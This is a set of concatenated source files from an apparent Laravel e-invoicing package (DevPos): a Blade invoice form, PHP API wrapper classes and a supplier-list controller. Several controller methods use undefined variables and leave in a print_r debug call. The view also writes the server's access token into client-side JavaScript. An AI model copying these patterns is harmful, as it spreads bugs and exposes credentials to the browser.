<th>{{__('TVSH')}}</th>
<th class="text-center">{{__('Options')}}</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
<div class="input-group input-group-lg-group my-4">
<div class="col-5 pr-0 invisible"></div>
<div class="col-3 pr-0 text-right k-font-bold k-heading--sm pr-2 " style="font-size: 1.5rem;">{{__('Total')}}</div>
<div class="col-2 text-right k-font-boldest total px-3" style="font-size: 1.5rem;"> 0.00</div>
<div class="col-2"></div>
</div>
<div class="mt-5">
<div class="k-heading k-heading--space-sm cursor collapsed mb-0" data-toggle="collapse" data-target="#InvoiceDetails">{{__('Invoice Details')}}</div>
</div>
<div class="k-separator k-separator--space-sm k-separator--border-solid k-separator--portlet-fit"></div>
<div class="form-group row collapse" id="InvoiceDetails">
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-6 mb-3",
"label" => "Process",
"select" => [
"name" => "process",
"value" => $item->process,
"options" => $einvoiceProcesses
],
"hint" => "Choose payment method"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-4 mb-3",
"label" => "Document Type",
"select" => [
"name" => "documentType",
"value" => $item->documentType,
"options" => $envoiceDocumentTypes
],
"hint" => "Choose document type"
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-2 mb-3",
"label" => "Pay Deadline",
"date" => [
"name" => "payDeadline",
"value" => date('Y-m-d', strtotime('+1 month')),
],
"hint" => "Enter date"
])!!}
</div>
<div class="mt-5">
<div class="k-heading k-heading--space-sm cursor collapsed mb-0" data-toggle="collapse" data-target="#PaymentMethods">{{__('Payment Methods')}}</div>
</div>
<div class="k-separator k-separator--space-sm k-separator--border-solid k-separator--portlet-fit"></div>
<div class="form-group row collapse not-parameters" id="PaymentMethods">
<table class="table table-bordered table-hover" id="paymentMethodsList">
<thead class="thead-light">
<tr>
<th>{{__('Payment Method')}}</th>
<th>{{__('Amount')}}</th>
<th>{{__('Remove')}}</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row" colspan="30">
<button type="button" class="btn btn-primary btn-sm" onclick="DevPos.Invoice.order.paymentMethod.add()"><i class="fa fa-plus"></i> {{__('Payment Method')}}</button>
</th>
</tr>
</tbody>
</table>
</div>
<div class="mt-5">
<div class="k-heading k-heading--space-sm cursor collapsed mb-0" data-toggle="collapse" data-target="#Customer">{{__('Customer')}}</div>
</div>
<div class="k-separator k-separator--space-sm k-separator--border-solid k-separator--portlet-fit"></div>
<div class="form-group row collapse" id="Customer">
{!! Html::formElement([
"class" => "col-md-6 form-group-sub col-lg-4 mb-3",
"label" => "Id Number",
"input" => [
"name" => "customer[idNumber]",
"value" => $item->idNumber,
"placeholder" => "Enter number",
"attributes" => ['data-required-if' => "customer[name]"]
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 form-group-sub col-lg-4 mb-3",
"label" => "Id Type",
"select" => [
"name" => "customer[idType]",
"value" => $item->idType,
"placeholder" => "Enter number",
"options" => $idTypes ?? []
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 form-group-sub col-lg-4 mb-3",
"label" => "Name",
"input" => [
"name" => "customer[name]",
"value" => $item->name,
"placeholder" => "Enter name",
"attributes" => ['data-required-if' => "customer[idNumber]"]
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 form-group-sub col-lg-4 mb-3",
"label" => "Address",
"input" => [
"name" => "customer[address]",
"value" => $item->address ?? 'Tirane',
"placeholder" => "Enter address",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 form-group-sub col-lg-4 mb-3",
"label" => "Town",
"input" => [
"name" => "customer[town]",
"value" => $item->town ?? 'Tirane',
"placeholder" => "Enter town",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 form-group-sub col-lg-4 mb-3",
"label" => "Country",
"select" => [
"name" => "customer[country]",
"value" => $item->country ?? '4',
"placeholder" => "Enter country",
"attributes" => ['data-live-search' => true],
"options" => $countries ?? []
]
]) !!}
{!! Html::formElement([
"class" => "col-md-6 form-group-sub col-lg-4 mb-3",
"label" => "Code",
"input" => [
"name" => "customer[code]",
"value" => $item->code,
"placeholder" => "Enter code"
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 form-group-sub col-lg-4 mb-3",
"label" => "Phone",
"input" => [
"name" => "customer[phone]",
"value" => $item->phone,
"placeholder" => "Enter phone"
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 form-group-sub col-lg-4 mb-3",
"label" => "Customer Card",
"input" => [
"name" => "clientCardCode",
"placeholder" => "Enter card",
]
])!!}
</div>
<div class="mt-5">
<div class="k-heading k-heading--space-sm cursor collapsed mb-0" data-toggle="collapse" data-target="#Extra">{{__('Extra')}}</div>
</div>
<div class="k-separator k-separator--space-sm k-separator--border-solid k-separator--portlet-fit"></div>
<div class="form-group row collapse" id="Extra">
<ul class="nav nav-tabs nav-tabs-line w-100" role="tablist">
<li class="nav-item"> <a class="nav-link active" data-toggle="tab" href="#tab_general" role="tab">{{__('General')}}</a> </li>
<li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#tab_reference" role="tab">{{__('Reference')}}</a> </li>
<li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#tab_payment_details" role="tab">{{__('Payment Details')}}</a> </li>
<li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#tab_shipping" role="tab">{{__('Shipping')}}</a> </li>
<li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#tab_buyer_seller" role="tab">{{__('Buyer')}} / {{__('Seller')}}</a> </li>
</ul>
<div class="tab-content col">
<div class="tab-pane active" id="tab_general" role="tabpanel">
<div class="row">
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub mb-3",
"label" => "Warehouse",
"select" => [
"name" => "warehouseId",
"value" => $item->warehouseId,
"placeholder" => "Information payment means",
"options" => $warehouses
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub mb-3",
"label" => "Supply Date Or Period Start",
"date" => [
"name" => "supplyDateOrPeriodStart",
"value" => $item->supplyDateOrPeriodStart,
"placeholder" => "Enter date",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub mb-3",
"label" => "Supply Date Or Period End",
"date" => [
"name" => "supplyDateOrPeriodEnd",
"value" => $item->supplyDateOrPeriodEnd,
"placeholder" => "Enter date",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub mb-3",
"label" => "Currency Code",
"input" => [
"name" => "currencyCode",
"value" => $item->currencyCode,
"placeholder" => "Enter currency",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub mb-3",
"label" => "Exchange Rate",
"input" => [
"name" => "exchangeRate",
"value" => $item->exchangeRate,
"placeholder" => "Enter exchange rate",
]
])!!}
{!! Html::formElement([
"class" => "col-md-12 form-group-sub mb-3",
"label" => "Deklarim i vonuar",
"checkbox" => [
"name" => "isLateFiscalized",
"value" => $item->isLateFiscalized,
"shown" => "function(elm){
$(elm).on('change', function(){
if ($(this).is(':checked')) {
$('[name=\"subsequentDeliveryType\"]').closest('div').removeClass('d-none');
}
else {
$('[name=\"subsequentDeliveryType\"]').closest('div').addClass('d-none');
}
}).change();
}"
],
"hint" => ''
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub mb-4 d-none not-parameters",
"label" => "Reason",
"select" => [
"name" => "subsequentDeliveryType",
"value" => $item->subsequentDeliveryType,
"options" => $subsequentDeliveryTypes
]
])!!}
{!! Html::formElement([
"class" => "col-md-12 form-group-sub mb-3",
"label" => "Borxh i keq",
"checkbox" => [
"name" => "isBadDebt",
"value" => $item->isBadDebt,
],
"hint" => ''
])!!}
{!! Html::formElement([
"class" => "col-md-12 form-group-sub mb-3",
"label" => "Notes",
"textarea" => [
"name" => "notes",
"value" => $item->notes,
"placeholder" => "Enter notes",
]
])!!}
</div>
</div>
<div class="tab-pane" id="tab_reference" role="tabpanel">
<div class="row">
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Buyer Reference",
"input" => [
"name" => "eInvoiceDetails[buyerReference]",
"value" => $item->buyerReference,
"placeholder" => "Information for buyer",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Project Reference",
"input" => [
"name" => "eInvoiceDetails[projectReference]",
"value" => $item->projectReference,
"placeholder" => "Information for project",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Contract Reference",
"input" => [
"name" => "eInvoiceDetails[contractReference]",
"value" => $item->contractReference,
"placeholder" => "Information for contract",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Purchase Order Reference",
"input" => [
"name" => "eInvoiceDetails[purchaseOrderReference]",
"value" => $item->purchaseOrderReference,
"placeholder" => "Information for purchase",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Sale Order Reference",
"input" => [
"name" => "eInvoiceDetails[saleOrderReference]",
"value" => $item->saleOrderReference,
"placeholder" => "Information for order",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Receiving Advice Reference",
"input" => [
"name" => "eInvoiceDetails[receivingAdviceReference]",
"value" => $item->receivingAdviceReference,
"placeholder" => "Information for order",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Despatch Advice Reference",
"input" => [
"name" => "eInvoiceDetails[despatchAdviceReference]",
"value" => $item->despatchAdviceReference,
"placeholder" => "Information for order",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Tender Or Lot Reference",
"input" => [
"name" => "eInvoiceDetails[tenderOrLotReference]",
"value" => $item->tenderOrLotReference,
"placeholder" => "Information for tender",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Invoiced Object Reference",
"input" => [
"name" => "eInvoiceDetails[invoicedObjectReference]",
"value" => $item->invoicedObjectReference,
"placeholder" => "Information for invoice",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Buyer Account Reference",
"input" => [
"name" => "eInvoiceDetails[buyerAccountReference]",
"value" => $item->buyerAccountReference,
"placeholder" => "Information for buyer account",
]
])!!}
</div>
</div>
<div class="tab-pane" id="tab_payment_details" role="tabpanel">
<div class="row">
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Payment Means",
"input" => [
"name" => "eInvoiceDetails[paymentMeans]",
"value" => $item->paymentMeans,
"placeholder" => "Information payment means",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub col-lg-4 mb-3",
"label" => "Payment Terms",
"input" => [
"name" => "eInvoiceDetails[paymentTerms]",
"value" => $item->paymentTerms,
"placeholder" => "Information payment terms",
]
])!!}
</div>
</div>
<div class="tab-pane" id="tab_shipping" role="tabpanel">
<div class="row">
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Name of receiver",
"input" => [
"name" => "eInvoiceDetails",
"value" => $item->eInvoiceDetails,
"placeholder" => "Name of receiver",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Delivery Date",
"date" => [
"name" => "eInvoiceDetails[deliveryDate]",
"value" => $item->deliveryDate,
"placeholder" => "Enter date",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Delivery Address",
"date" => [
"name" => "eInvoiceDetails[deliveryAddress]",
"value" => $item->deliveryAddress,
"placeholder" => "Enter address",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Delivery Town",
"date" => [
"name" => "eInvoiceDetails[deliveryTown]",
"value" => $item->deliveryTown,
"placeholder" => "Enter town",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 col-xl-3 form-group-sub col-lg-4 mb-3",
"label" => "Country",
"input" => [
"name" => "eInvoiceDetails[deliveryCountryCode]",
"value" => $item->deliveryCountryCode,
"placeholder" => "Enter country",
]
])!!}
</div>
</div>
<div class="tab-pane" id="tab_buyer_seller" role="tabpanel">
<div class="row">
<h4 class="col-12">{{__('Buyers')}}</h4>
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub col-lg-4 mb-3",
"label" => "Name of receiver",
"input" => [
"name" => "eInvoiceDetails[customerContactPoint]",
"value" => $item->customerContactPoint,
"placeholder" => "Name of receiver",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub col-lg-4 mb-3",
"label" => "Customer Phone",
"input" => [
"name" => "eInvoiceDetails[customerPhone]",
"value" => $item->customerPhone,
"placeholder" => "Enter phone",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub col-lg-4 mb-3",
"label" => "Customer Mail",
"input" => [
"name" => "eInvoiceDetails[customerMail]",
"value" => $item->customerMail,
"placeholder" => "Enter mail",
]
])!!}
<h4 class="col-12">{{__('Seller')}}</h4>
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub col-lg-4 mb-3",
"label" => "Seller Contact Point",
"input" => [
"name" => "eInvoiceDetails[sellerContactPoint]",
"value" => $item->sellerContactPoint,
"placeholder" => "Enter contact point",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub col-lg-4 mb-3",
"label" => "Seller Phone",
"input" => [
"name" => "eInvoiceDetails[sellerPhone]",
"value" => $item->sellerPhone,
"placeholder" => "Enter phone",
]
])!!}
{!! Html::formElement([
"class" => "col-md-6 col-lg-4 form-group-sub col-lg-4 mb-3",
"label" => "Seller Mail",
"input" => [
"name" => "eInvoiceDetails[sellerMail]",
"value" => $item->sellerMail,
"placeholder" => "Enter mail",
]
])!!}
</div>
</div>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
@else
Duhet te zgjidhni ne fillim arken pastaj mund te shtoni fature elektronike
@endif
</div>
</div>
<!-- end:: Content -->
@endsection
@section('js-local')
<script src="{{asset('ermirshehaj/devpos/js/devpos.js')}}"></script>
<script src="{{asset('ermirshehaj/devpos/js/templates.js')}}"></script>
<script>
Cache.put('paymentMethods', @php echo json_encode($paymentMethods) @endphp);
Cache.put('feeTypes', @php echo json_encode($feeTypes) @endphp);
Cache.put('clientCardTypes', @php echo json_encode($clientCardTypes) @endphp);
Cache.put('typesOfSelfIssuing', @php echo json_encode($typesOfSelfIssuing) @endphp);
Cache.put('currencies', @php echo json_encode($currencies) @endphp);
Cache.put('countries', @php echo json_encode($countries) @endphp);
Cache.put('cities', @php echo json_encode($cities) @endphp);
Cache.put('banks', @php echo json_encode($banks) @endphp);
Cache.put('idTypes', @php echo json_encode($idTypes) @endphp);
Cache.put('products', @php echo json_encode($products) @endphp);
Cache.put("devpos_access_token", '{{Cache::get('devpos.access_token')}}' );
let choosedTCR = '{{Session::get('tcr_code')}}';
$(document).ready(function(){
$('[name="fromDate"]').datepicker({
"format": "yyyy-mm-dd"
});
$('[name="toDate"]').datepicker({
"format": "yyyy-mm-dd"
});
$('#productSearch').productSuggestionThumb({
display: 'title',
source: function(instance, query, sync, async) {
return async(Cache.get('products').filter(row => row.title.toLowerCase().startsWith(query)));
},
template: function(data) {
return '<a href="javascript:void(0)" title="Add unit" class="k-nav__link" onClick=""><i class="k-nav__link-icon fa fa-plus "></i><span class="k-nav__link-text"> '+ data.title +'</span></a>';
},
onSelect: function(suggestion, instance) {
//add product to List
//first check if it exists
if ($('#productsList [data-product-id="'+ suggestion.id +'"]')?.length) {
//exists, so we just increment the quantity
let quantity = parseFloat($('#productsList [data-product-id="'+ suggestion.id +'"] [name="quantity"]').val());
//set new value
$('#productsList [data-product-id="'+ suggestion.id +'"] [name="quantity"]').val(quantity + 1).change();
}
else { //we append it as new row
//fix properties before we add it
suggestion.name = suggestion.title;
suggestion.rate = suggestion.price;
$(instance).closest('form').find('#productsList tbody').append(DevPos.Invoice.order.product.row(suggestion));
}
//fire trigger
$(instance).closest('form').trigger('order.changed');
},
});
//listen to order.changed event to re calculate summaries
//fire trigger
$('form[name="newInvoice"]').on('order.changed', function() {
DevPos.Invoice.order.summaries.calculate();
});
});
</script>
@endsection<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* Currency - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class Currency extends Model {
public function __construct() {
parent::__construct();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/Currency');
}
public function create($parameters = []) {
/**
*
* Example:
* {
code: "1"
id: 133
name: "KOZMETIKE"
}
*/
//validate first
$validation = Validator::make($parameters, [
"number" => "required|string|max:60",
"currency" => "required|string|max:60",
"centerType" => "required|string|max:60",
"accountName1" => "required|string|max:60",
"accountName2" => "nullable|string|max:60",
"bankName" => "required|string|max:60",
"bankCity" => "required|string|max:60",
"bankCountry" => "required|string|max:60",
"bankCountryCode" => "required|string|max:60",
"bankSwift" => "required|string|max:60",
"bankBuildingName" => "nullable|string|max:60",
"bankBuildingNumber" => "nullable|string|max:60",
"bankStreet" => "nullable|string|max:120",
"bankPostalCode" => "nullable|string|max:60",
"bankAddressLine" => "nullable|string|max:250"
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
return $this->post('/api/v3/Currency', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/Currency/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
"id" => "required|numeric",
"number" => "required|string|max:60",
"currency" => "required|string|max:60",
"centerType" => "required|string|max:60",
"accountName1" => "required|string|max:60",
"accountName2" => "nullable|string|max:60",
"bankName" => "required|string|max:60",
"bankCity" => "required|string|max:60",
"bankCountry" => "required|string|max:60",
"bankCountryCode" => "required|string|max:60",
"bankSwift" => "required|string|max:60",
"bankBuildingName" => "nullable|string|max:60",
"bankBuildingNumber" => "nullable|string|max:60",
"bankStreet" => "nullable|string|max:120",
"bankPostalCode" => "nullable|string|max:60",
"bankAddressLine" => "nullable|string|max:250"
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
//$parameters['registrationDate'] = date("c", strtotime($parameters['registrationDate']));
return $this->put('/api/v3/Currency/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/Currency/'. $id);
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Http\Controllers;
use Illuminate\Routing\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Cache;
use ErmirShehaj\DevPos\Facades\DevPos;
use App\Http\Requests\PosRequest;
use \App\Models\Pos;
use DateTime;
class SupplierListController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index() {
//authorize first
//$this->authorize('menu', Pos::class);
//get supplierList from devpos
$items = DevPos::supplierList()->cache()->get();
//get supplier from devpos
$suppliers = DevPos::supplier()->cache()->get();
return view('devpos::supplier-lists', [
'title' => __('Supplier Lists'),
'breadcrumb' => [
__('Supplier Lists') => route('devpos.supplier-lists.index')
],
'menu' => 'devpos.supplier-lists',
'items' => $items,
'suppliers' => $suppliers
]);
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request) {
//authorize first
//$this->authorize('create', Pos::class);
try {
$item = DevPos::supplierList()->create($request->all());
}
catch(\Illuminate\Validation\ValidationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $request->all(),
];
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $parameters
];
}
catch(\Symfony\Component\HttpKernel\Exception\HttpException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $parameters
];
}
catch(\Illuminate\Auth\AuthenticationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Authentication' => 'Unauthorized 401',
'Data' => $parameters
];
}
catch(\Exception $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $parameters
];
}
return response()->json([
'Status' => 'OK',
'Data' => $item,
]);
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
//first lets get all categories
$categories = Category::with('productsSalable.thumbnail')->get(['id','name']);
//first lets get all collections
//$categories = Collection::with('salable.thumbnail')->get(['id','name']);
//first lets get all categories
$products = Product::salable()->with('thumbnail')->select(['id','name', 'rate', 'sale_rate', 'manage_stock' , 'stock_status', 'stock_quantity', 'sell_without_stock', 'thumbnail_id'])->limit(12)->orderBy('id', 'desc')->get();
//get supplier settings
$settings = Setting::where('category', 'supplier')->get()->pluck('value', 'name')->toArray();
$view = 'admin.supplier';
if ($settings['supplier_template'] == 'Show products')
$view = 'admin.supplier-products';
print_r($categories);
return view($view, [
'title' => __('SupplierList'),
'breadcrumb' => [
__('SupplierList') => route('supplier-lists.index')
],
'menu' => 'supplier',
'categories' => $categories,
'products' => $products,
'settings' => $settings,
]);
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id) {
try {
//update supplier on devpos
$item = DevPos::supplierList()->update($id, $request->all());
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage()
];
}
return response()->json([
'Status' => 'OK',
'DevPos' => ['updated' => $item],
'Data' => ['updated' => $updated]
]);
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//authorize action
//$this->authorize('delete', Pos::class);
try {
//delete supplier on devpos
$item = DevPos::supplierList()->destroy($id);
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage()
];
}
return response()->json([
'Status' => 'OK',
'DevPos' => $item,
'Data' => $deleted,
'Msg' => $deleted == 0 ? 'SupplierList deleted successfully':'SupplierList didn\'t deleted successfully!'
]);
}
}
<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* Carrier - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class Carrier extends Model {
public function __construct() {
parent::__construct();
//$this->bypassCache();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/Carrier');
}
public function create($parameters = []) {
/**
*
* Example:
* {
code: "1"
id: 133
name: "KOZMETIKE"
}
*/
//validate first
$validation = Validator::make($parameters, [
"name" => "required|string|max:60",
"iDtype" => "required|numeric",
"identificationNo" => "required|string|max:60",
"town" => "required|string|max:60",
"address" => "required|string|max:250",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
$parameters['iDtype'] = (int)$parameters['iDtype'];
return $this->post('/api/v3/Carrier', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/Carrier/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
"id" => "required|numeric",
"name" => "required|string|max:60",
"iDtype" => "required|numeric",
"identificationNo" => "required|string|max:60",
"town" => "required|string|max:60",
"address" => "required|string|max:250",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
$parameters['iDtype'] = (int)$parameters['iDtype'];
return $this->put('/api/v3/Carrier/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/Carrier/'. $id);
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* BankPayment - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class BankPayment extends Model {
public function __construct() {
parent::__construct();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/PaymentNotification');
}
public function create($parameters = []) {
//add default data
$parameters['datTimSend'] = date('Y-m-dTH:i:s');
//validate first
$validation = Validator::make($parameters, [
'bankNipt' => 'nullable|string|max:30',
'datTimSend' => 'required|date',
'payerNipt' => 'required|string|max:40',
'refCode' => 'nullable|string|max:250',
'pymtNotItems.*.einFic' => 'required|string|max:60',
'pymtNotItems.*.id' => 'nullable|numeric',
'pymtNotItems.*.overpaidAmount' => 'nullable|numeric',
'pymtNotItems.*.paidAmt' => 'nullable|numeric',
'pymtNotItems.*.paidCur' => 'required|string|max:10',
'pymtNotItems.*.paymentDateTime' => 'required|date',
'pymtNotItems.*.pymtStatus' => 'required|numeric',
'pymtNotItems.*.pymtType' => 'required|numeric',
'pymtNotItems.*.transactionCode' => 'nullable|string|max:20',
]);
if ($validation->fails()) {
//dd($validation->errors());
throw new \Illuminate\Validation\ValidationException($validation);
}
//cast parameters
//$parameters['idType'] = (int)$parameters['registrationDate'];
foreach($parameters['pymtNotItems'] as $ind => &$array) {
//$array['id'] = (int)$array['id'];
$array['overpaidAmount'] = (float)$array['overpaidAmount'];
$array['paidAmt'] = (float)$array['paidAmt'];
//$array['paidCur'] = $array['paidCur'];
$array['pymtStatus'] = (int)$array['pymtStatus'];
$array['pymtType'] = (int)$array['pymtType'];
}
return $this->post('/api/v3/PaymentNotification', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/PaymentNotification/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//add default data
$parameters['datTimSend'] = date('Y-m-dTH:i:s');
//validate first
$validation = Validator::make($parameters, [
'bankNipt' => 'nullable|string|max:30',
'datTimSend' => 'required|date',
'payerNipt' => 'required|string|max:40',
'refCode' => 'nullable|string|max:250',
'pymtNotItems.*.einFic' => 'required|string|max:60',
'pymtNotItems.*.id' => 'required|numeric',
'pymtNotItems.*.overpaidAmount' => 'required|numeric',
'pymtNotItems.*.paidAmt' => 'required|numeric',
'pymtNotItems.*.paidCur' => 'required|string|max:10',
'pymtNotItems.*.paymentDateTime' => 'required|date',
'pymtNotItems.*.pymtStatus' => 'required|numeric',
'pymtNotItems.*.pymtType' => 'required|numeric',
'pymtNotItems.*.transactionCode' => 'required|string|max:20',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//cast parameters
//$parameters['idType'] = (int)$parameters['registrationDate'];
foreach($parameters['pymtNotItems'] as $ind => &$array) {
$array['id'] = (int)$array['id'];
$array['overpaidAmount'] = (float)$array['overpaidAmount'];
$array['paidAmt'] = (float)$array['paidAmt'];
$array['paidCur'] = (int)$array['paidCur'];
$array['pymtStatus'] = (int)$array['pymtStatus'];
$array['pymtType'] = (int)$array['pymtType'];
}
return $this->put('/api/v3/PaymentNotification/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/PaymentNotification/'. $id);
}
}<file_sep>
var DevPos = {
Account: {
itemType: 'accounts',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
